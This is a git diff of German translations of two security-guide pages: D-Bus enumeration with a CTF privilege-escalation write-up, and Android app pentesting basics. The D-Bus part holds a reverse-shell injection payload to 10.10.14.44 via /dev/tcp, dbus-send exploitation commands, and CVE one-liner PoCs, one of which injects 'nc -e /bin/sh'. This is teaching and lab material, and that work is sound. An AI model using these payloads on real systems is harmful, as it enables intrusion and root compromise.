Dienste auf D-Bus werden durch die **Objekte** und **Schnittstellen** definiert, die sie bereitstellen. Objekte können mit Klasseninstanzen in standardmäßigen OOP-Sprachen verglichen werden, wobei jede Instanz eindeutig durch einen **Objektpfad** identifiziert wird. Dieser Pfad, ähnlich einem Dateisystempfad, identifiziert jedes vom Dienst bereitgestellte Objekt eindeutig. Eine wichtige Schnittstelle für Forschungszwecke ist die **org.freedesktop.DBus.Introspectable** Schnittstelle, die eine einzelne Methode, Introspect, enthält. Diese Methode gibt eine XML-Darstellung der unterstützten Methoden, Signale und Eigenschaften des Objekts zurück, wobei hier der Fokus auf den Methoden liegt und Eigenschaften und Signale weggelassen werden.
|
||||
Dienste auf D-Bus werden durch die **Objekte** und **Schnittstellen** definiert, die sie bereitstellen. Objekte können mit Klasseninstanzen in standardmäßigen OOP-Sprachen verglichen werden, wobei jede Instanz eindeutig durch einen **Objektpfad** identifiziert wird. Dieser Pfad, ähnlich einem Dateisystempfad, identifiziert jedes vom Dienst bereitgestellte Objekt eindeutig. Eine wichtige Schnittstelle für Forschungszwecke ist die **org.freedesktop.DBus.Introspectable**-Schnittstelle, die eine einzelne Methode, Introspect, enthält. Diese Methode gibt eine XML-Darstellung der unterstützten Methoden, Signale und Eigenschaften des Objekts zurück, wobei hier der Fokus auf den Methoden liegt, während Eigenschaften und Signale weggelassen werden.
|
||||
|
||||
Für die Kommunikation mit der D-Bus-Schnittstelle wurden zwei Werkzeuge verwendet: ein CLI-Werkzeug namens **gdbus** für die einfache Aufrufung von Methoden, die von D-Bus in Skripten bereitgestellt werden, und [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), ein auf Python basierendes GUI-Werkzeug, das entwickelt wurde, um die verfügbaren Dienste auf jedem Bus zu enumerieren und die Objekte anzuzeigen, die in jedem Dienst enthalten sind.
|
||||
Für die Kommunikation mit der D-Bus-Schnittstelle wurden zwei Werkzeuge verwendet: ein CLI-Tool namens **gdbus** für die einfache Aufrufung von Methoden, die von D-Bus in Skripten bereitgestellt werden, und [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), ein auf Python basierendes GUI-Tool, das entwickelt wurde, um die auf jedem Bus verfügbaren Dienste zu enumerieren und die in jedem Dienst enthaltenen Objekte anzuzeigen.
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
@ -24,7 +24,7 @@ Ein bemerkenswertes Merkmal ist die Anzeige der **Prozess-ID (pid)** und der **B
|
||||
|
||||
Es ist jedoch zu beachten, dass **einige Methoden eine Authentifizierung erfordern**, bevor wir sie aufrufen können. Wir werden diese Methoden ignorieren, da unser Ziel darin besteht, unsere Berechtigungen zunächst ohne Anmeldeinformationen zu erhöhen.
|
||||
|
||||
Es ist auch zu beachten, dass einige der Dienste einen anderen D-Bus-Dienst namens org.freedeskto.PolicyKit1 abfragen, ob einem Benutzer erlaubt werden sollte, bestimmte Aktionen auszuführen oder nicht.
|
||||
Beachten Sie auch, dass einige der Dienste einen anderen D-Bus-Dienst namens org.freedeskto.PolicyKit1 abfragen, ob einem Benutzer erlaubt werden sollte, bestimmte Aktionen auszuführen oder nicht.
|
||||
|
||||
## **Cmd line Enumeration**
|
||||
|
||||
@ -150,7 +150,7 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
Beachten Sie die Methode `.Block` des Interfaces `htb.oouch.Block` (das, an dem wir interessiert sind). Das "s" der anderen Spalten könnte bedeuten, dass ein String erwartet wird.
|
||||
Beachten Sie die Methode `.Block` des Interfaces `htb.oouch.Block` (das ist das, was uns interessiert). Das "s" der anderen Spalten könnte bedeuten, dass ein String erwartet wird.
|
||||
|
||||
### Monitor/Capture Interface
|
||||
|
||||
@ -159,7 +159,7 @@ Mit ausreichenden Rechten (nur `send_destination` und `receive_sender` Rechte si
|
||||
Um eine **Kommunikation** zu **überwachen**, müssen Sie **root** sein. Wenn Sie weiterhin Probleme haben, root zu sein, überprüfen Sie [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) und [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
|
||||
> [!WARNING]
|
||||
> Wenn Sie wissen, wie man eine D-Bus-Konfigurationsdatei konfiguriert, um **nicht-root-Benutzern das Sniffen** der Kommunikation zu **erlauben**, kontaktieren Sie bitte **mich**!
|
||||
> Wenn Sie wissen, wie man eine D-Bus-Konfigurationsdatei konfiguriert, um **nicht-root-Benutzern das Sniffen** der Kommunikation zu **erlauben**, bitte **kontaktieren Sie mich**!
|
||||
|
||||
Verschiedene Möglichkeiten zur Überwachung:
|
||||
```bash
|
||||
@ -194,7 +194,7 @@ Wenn es einfach zu viele Informationen auf dem Bus gibt, übergeben Sie eine Üb
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
Es können mehrere Regeln angegeben werden. Wenn eine Nachricht _irgendeiner_ der Regeln entspricht, wird die Nachricht ausgegeben. So:
|
||||
Mehrere Regeln können angegeben werden. Wenn eine Nachricht _irgendeiner_ der Regeln entspricht, wird die Nachricht ausgegeben. So:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
@ -247,8 +247,8 @@ return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
Wie Sie sehen können, **stellt es eine Verbindung zu einer D-Bus-Schnittstelle her** und sendet an die **"Block"-Funktion** die "client_ip".
|
||||
|
||||
Auf der anderen Seite der D-Bus-Verbindung läuft ein kompilierter C-Binär. Dieser Code **lauscht** in der D-Bus-Verbindung **nach IP-Adressen und ruft iptables über die `system`-Funktion auf**, um die angegebene IP-Adresse zu blockieren.\
|
||||
**Der Aufruf von `system` ist absichtlich anfällig für Befehlsinjektion**, sodass eine Nutzlast wie die folgende eine Reverse-Shell erstellen wird: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
Auf der anderen Seite der D-Bus-Verbindung läuft ein C-kompiliertes Binary. Dieser Code **lauscht** in der D-Bus-Verbindung **nach IP-Adressen und ruft iptables über die `system`-Funktion auf**, um die gegebene IP-Adresse zu blockieren.\
|
||||
**Der Aufruf von `system` ist absichtlich anfällig für eine Befehlseinschleusung**, sodass eine Payload wie die folgende einen Reverse-Shell erstellt: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Ausnutzen
|
||||
|
||||
@ -283,7 +283,7 @@ bus.close()
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
- `dbus-send` ist ein Tool, das verwendet wird, um Nachrichten an den „Message Bus“ zu senden.
|
||||
- Message Bus – Eine Software, die von Systemen verwendet wird, um die Kommunikation zwischen Anwendungen zu erleichtern. Es ist mit Message Queue verwandt (Nachrichten sind in einer Reihenfolge angeordnet), aber im Message Bus werden die Nachrichten in einem Abonnementmodell gesendet und sind auch sehr schnell.
|
||||
- Message Bus – Eine Software, die von Systemen verwendet wird, um die Kommunikation zwischen Anwendungen zu erleichtern. Es ist mit Message Queue (Nachrichten sind in Reihenfolge angeordnet) verwandt, aber im Message Bus werden die Nachrichten in einem Abonnementmodell gesendet und sind auch sehr schnell.
|
||||
- Der „-system“-Tag wird verwendet, um zu erwähnen, dass es sich um eine Systemnachricht handelt, nicht um eine Sitzungsnachricht (standardmäßig).
|
||||
- Der „–print-reply“-Tag wird verwendet, um unsere Nachricht angemessen auszudrucken und erhält alle Antworten in einem menschenlesbaren Format.
|
||||
- „–dest=Dbus-Interface-Block“ Die Adresse der Dbus-Schnittstelle.
|
||||
@ -432,16 +432,16 @@ sd_bus_unref(bus);
|
||||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
}
|
||||
```
|
||||
## Automatisierte Enumerationshelfer (2023-2025)
|
||||
## Automatisierte Enumerationshilfen (2023-2025)
|
||||
|
||||
Die manuelle Enumeration einer großen D-Bus-Angriffsfläche mit `busctl`/`gdbus` wird schnell mühsam. Zwei kleine FOSS-Utilities, die in den letzten Jahren veröffentlicht wurden, können die Dinge während Red-Team- oder CTF-Einsätzen beschleunigen:
|
||||
|
||||
### dbusmap ("Nmap für D-Bus")
|
||||
* Autor: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||||
* In C geschrieben; einzelne statische Binärdatei (<50 kB), die jeden Objektpfad durchläuft, das `Introspect` XML abruft und es dem besitzenden PID/UID zuordnet.
|
||||
* In C geschrieben; einzelne statische Binärdatei (<50 kB), die jeden Objektpfad durchläuft, das `Introspect`-XML abruft und es dem besitzenden PID/UID zuordnet.
|
||||
* Nützliche Flags:
|
||||
```bash
|
||||
# Listet jeden Dienst auf dem *System* Bus und gibt alle aufrufbaren Methoden aus
|
||||
# Listet jeden Dienst auf dem *System*-Bus auf und gibt alle aufrufbaren Methoden aus
|
||||
sudo dbus-map --dump-methods
|
||||
|
||||
# Probt aktiv Methoden/Eigenschaften, die Sie ohne Polkit-Aufforderungen erreichen können
|
||||
@ -465,20 +465,20 @@ python3 uptux.py -d # aktiviert ausführliche Debug-Ausgabe
|
||||
|
||||
## Bemerkenswerte D-Bus Privilegieneskalationsfehler (2024-2025)
|
||||
|
||||
Ein Auge auf kürzlich veröffentlichte CVEs zu haben, hilft, ähnliche unsichere Muster im benutzerdefinierten Code zu erkennen. Die folgenden hochgradig wirkenden lokalen EoP-Probleme resultieren alle aus fehlender Authentifizierung/Autorisierung auf dem **Systembus**:
|
||||
Ein Auge auf kürzlich veröffentlichte CVEs zu haben, hilft, ähnliche unsichere Muster im benutzerdefinierten Code zu erkennen. Die folgenden hochgradig kritischen lokalen EoP-Probleme resultieren alle aus fehlender Authentifizierung/Autorisierung auf dem **Systembus**:
|
||||
|
||||
| Jahr | CVE | Komponente | Grundursache | One-Liner PoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID-Daemon) | Der `logid` Systemdienst exponiert eine uneingeschränkte `org.freedesktop.Logiopsd` Schnittstelle, die *jedem* Benutzer erlaubt, Geräteprofile zu ändern und beliebige Shell-Befehle über Makro-Strings einzuschleusen. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Ein als Root laufender Proxy leitet veraltete Busnamen an Backend-Dienste **weiter, ohne den aufrufenden UID/Polkit-Kontext weiterzuleiten**, sodass jede weitergeleitete Anfrage als UID 0 behandelt wird. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Die öffentliche `Dispatch`-Methode hat keine ACLs → Angreifer kann den *Paketmanager*-Arbeiter anweisen, beliebige RPMs zu installieren. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID-Daemon) | Der `logid`-Systemdienst exponiert eine uneingeschränkte `org.freedesktop.Logiopsd`-Schnittstelle, die *jedem* Benutzer erlaubt, Geräteprofile zu ändern und beliebige Shell-Befehle über Makro-Strings einzufügen. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Ein als Root ausgeführter Proxy leitet veraltete Busnamen an Backend-Dienste **weiter, ohne den aufrufenden UID/Polkit-Kontext weiterzuleiten**, sodass jede weitergeleitete Anfrage als UID 0 behandelt wird. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Die öffentliche `Dispatch`-Methode hat keine ACLs → Angreifer kann den *Paket-Manager*-Worker anweisen, beliebige RPMs zu installieren. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
Muster, die zu beachten sind:
|
||||
1. Dienst läuft **als Root auf dem Systembus**.
|
||||
2. Keine PolicyKit-Prüfung (oder sie wird von einem Proxy umgangen).
|
||||
3. Methode führt letztendlich zu `system()`/Paketinstallation/Umkonfiguration des Geräts → Codeausführung.
|
||||
3. Methode führt letztendlich zu `system()`/Paketinstallation/Neukonfiguration des Geräts → Codeausführung.
|
||||
|
||||
Verwenden Sie `dbusmap --enable-probes` oder manuelles `busctl call`, um zu bestätigen, ob ein Patch die ordnungsgemäße `polkit_authority_check_authorization()`-Logik zurückportiert.
|
||||
Verwenden Sie `dbusmap --enable-probes` oder manuelles `busctl call`, um zu bestätigen, ob ein Patch die richtige `polkit_authority_check_authorization()`-Logik zurückportiert.
|
||||
|
||||
---
|
||||
|
||||
@ -491,7 +491,7 @@ grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/
|
||||
* Erfordern Sie Polkit für gefährliche Methoden – selbst *Root*-Proxys sollten die *aufrufende* PID an `polkit_authority_check_authorization_sync()` übergeben, anstatt ihre eigene.
|
||||
* Privilegien in langlaufenden Helfern abgeben (verwenden Sie `sd_pid_get_owner_uid()`, um die Namespaces nach dem Verbinden mit dem Bus zu wechseln).
|
||||
* Wenn Sie einen Dienst nicht entfernen können, beschränken Sie ihn zumindest auf eine dedizierte Unix-Gruppe und schränken Sie den Zugriff in seiner XML-Policy ein.
|
||||
* Blue-Team: Aktivieren Sie die dauerhafte Erfassung des Systembus mit `busctl capture --output=/var/log/dbus_$(date +%F).pcap` und importieren Sie sie in Wireshark zur Anomalieerkennung.
|
||||
* Blue-Team: Aktivieren Sie die dauerhafte Erfassung des Systembusses mit `busctl capture --output=/var/log/dbus_$(date +%F).pcap` und importieren Sie sie in Wireshark zur Anomalieerkennung.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -12,20 +12,20 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Dies ist das Hauptwerkzeug, das Sie benötigen, um sich mit einem Android-Gerät (emuliert oder physisch) zu verbinden.\
|
||||
**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Dienstprogramm ermöglicht das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Protokollen und viele andere Funktionen.
|
||||
Dies ist das Hauptwerkzeug, das Sie benötigen, um eine Verbindung zu einem Android-Gerät (emuliert oder physisch) herzustellen.\
|
||||
**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Dienstprogramm ermöglicht das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Protokollen und andere Funktionen.
|
||||
|
||||
Werfen Sie einen Blick auf die folgende Liste von [**ADB-Befehlen**](adb-commands.md), um zu lernen, wie man adb verwendet.
|
||||
|
||||
## Smali
|
||||
|
||||
Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu ändern und ihn neu zu kompilieren.\
|
||||
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte sehr nützlich sein als **Alternative für mehrere Tests während der dynamischen Analyse**, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
|
||||
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
|
||||
|
||||
## Weitere interessante Tricks
|
||||
|
||||
- [Standort im Play Store fälschen](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-basierter nicht-root privilegierter Zugriff)](shizuku-privileged-api.md)
|
||||
- [Shizuku Privileged API (ADB-basierter privilegierter Zugriff ohne Root)](shizuku-privileged-api.md)
|
||||
- [Ausnutzen unsicherer In-App-Update-Mechanismen](insecure-in-app-update-rce.md)
|
||||
- **APK herunterladen**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- APK vom Gerät extrahieren:
|
||||
@ -75,7 +75,7 @@ Die **Untersuchung der _Manifest.xml_ und _strings.xml_**-Dateien einer Anwendun
|
||||
- **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
|
||||
- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
|
||||
- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspinning und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
|
||||
- **Exportierte Aktivitäten und Dienste**: Das Identifizieren exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
|
||||
- **Exportierte Aktivitäten und Dienste**: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
|
||||
- **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden.
|
||||
- **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeschwachstellen verwaltet werden.
|
||||
- **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und heben die Bedeutung hervor, veraltete, anfällige Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
|
||||
@ -110,9 +110,9 @@ android-task-hijacking.md
|
||||
In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
|
||||
|
||||
1. **Statische Analyse:**
|
||||
- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigtem oder unbefugtem Zugriff** aussetzen.
|
||||
- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **könnten potenziell** Dateien für **unbeabsichtigten oder unbefugten Zugriff** **exponieren**.
|
||||
2. **Dynamische Analyse:**
|
||||
- **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu modifizieren**.
|
||||
- **Überprüfen** Sie die **Berechtigungen**, die auf Dateien gesetzt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu modifizieren**.
|
||||
|
||||
**Externer Speicher**
|
||||
|
||||
@ -131,14 +131,14 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
|
||||
Externer Speicher kann in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` **zugegriffen** werden.
|
||||
|
||||
> [!TIP]
|
||||
> Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
|
||||
> Seit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
|
||||
|
||||
**Sensible Daten im Klartext gespeichert**
|
||||
|
||||
- **Geteilte Präferenzen**: Android ermöglicht es jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
|
||||
- **Datenbanken**: Android ermöglicht es jeder Anwendung, SQLite-Datenbanken im Pfad `/data/data/<packagename>/databases/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
|
||||
|
||||
### Gebrochene TLS
|
||||
### Gebrochenes TLS
|
||||
|
||||
**Alle Zertifikate akzeptieren**
|
||||
|
||||
@ -149,15 +149,15 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne das Burp CA-Zertifikat auf dem Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und verwenden.
|
||||
|
||||
### Defekte Kryptografie
|
||||
### Gebrochene Kryptografie
|
||||
|
||||
**Schlechte Schlüsselverwaltungsprozesse**
|
||||
|
||||
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
|
||||
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Angriffe es Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
|
||||
|
||||
**Verwendung unsicherer und/oder veralteter Algorithmen**
|
||||
|
||||
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierungsprüfungen** durchzuführen, **Daten zu speichern** oder **zu senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise zum Speichern von Passwörtern verwendet werden, sollten hash-brute-force **resistente** Hashes mit Salt verwendet werden.
|
||||
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierungsprüfungen** durchzuführen, **Daten zu speichern** oder **zu senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise zum Speichern von Passwörtern verwendet werden, sollten brute-force **resistente** Hashes mit Salt verwendet werden.
|
||||
|
||||
### Weitere Überprüfungen
|
||||
|
||||
@ -165,7 +165,7 @@ Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierun
|
||||
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **eigene Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
|
||||
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird.
|
||||
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu prüfen, ob sie modifiziert wurde.
|
||||
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator verwendet wurde, um die APK zu erstellen.
|
||||
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator zum Erstellen der APK verwendet wurde.
|
||||
|
||||
### React Native Anwendung
|
||||
|
||||
@ -185,7 +185,7 @@ Lesen Sie die folgende Seite, um zu erfahren, wie Sie einfach auf den C#-Code vo
|
||||
|
||||
### Superpacked Anwendungen
|
||||
|
||||
Laut diesem [**Blogbeitrag**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) ist Superpacked ein Meta-Algorithmus, der den Inhalt einer Anwendung in eine einzelne Datei komprimiert. Der Blog spricht über die Möglichkeit, eine App zu erstellen, die diese Art von Apps dekomprimiert... und einen schnelleren Weg, der darin besteht, die **Anwendung auszuführen und die dekomprimierten Dateien vom Dateisystem zu sammeln.**
|
||||
Laut diesem [**Blogbeitrag**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) ist Superpacked ein Meta-Algorithmus, der den Inhalt einer Anwendung in einer einzigen Datei komprimiert. Der Blog spricht über die Möglichkeit, eine App zu erstellen, die diese Art von Apps dekomprimiert... und einen schnelleren Weg, der darin besteht, die **Anwendung auszuführen und die dekomprimierten Dateien vom Dateisystem zu sammeln.**
|
||||
|
||||
### Automatisierte statische Codeanalyse
|
||||
|
||||
@ -249,13 +249,13 @@ avd-android-virtual-device.md
|
||||
- [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch kein Frida oder Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf einer beliebigen Plattform der Emulator umso langsamer läuft, je größer der Bildschirm ist. Wählen Sie also nach Möglichkeit kleine Bildschirme aus.
|
||||
> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf einer beliebigen Plattform der Emulator langsamer läuft, je größer der Bildschirm ist. Wählen Sie also nach Möglichkeit kleine Bildschirme aus.
|
||||
|
||||
Um **Google-Dienste** (wie den App Store) in Genymotion zu installieren, müssen Sie auf die rot markierte Schaltfläche im folgenden Bild klicken:
|
||||
|
||||
.png>)
|
||||
|
||||
Beachten Sie auch, dass Sie in der **Konfiguration der Android-VM in Genymotion** den **Bridge-Netzwerkmodus** auswählen können (dies wird nützlich sein, wenn Sie von einer anderen VM mit den Tools auf die Android-VM zugreifen möchten).
|
||||
Beachten Sie auch, dass Sie in der **Konfiguration der Android-VM in Genymotion** den **Bridge-Netzwerkmodus** auswählen können (dies ist nützlich, wenn Sie von einer anderen VM mit den Tools auf die Android-VM zugreifen möchten).
|
||||
|
||||
#### Verwendung eines physischen Geräts
|
||||
|
||||
@ -274,15 +274,15 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
|
||||
|
||||
**Protokollierung**
|
||||
|
||||
Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen, um sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
|
||||
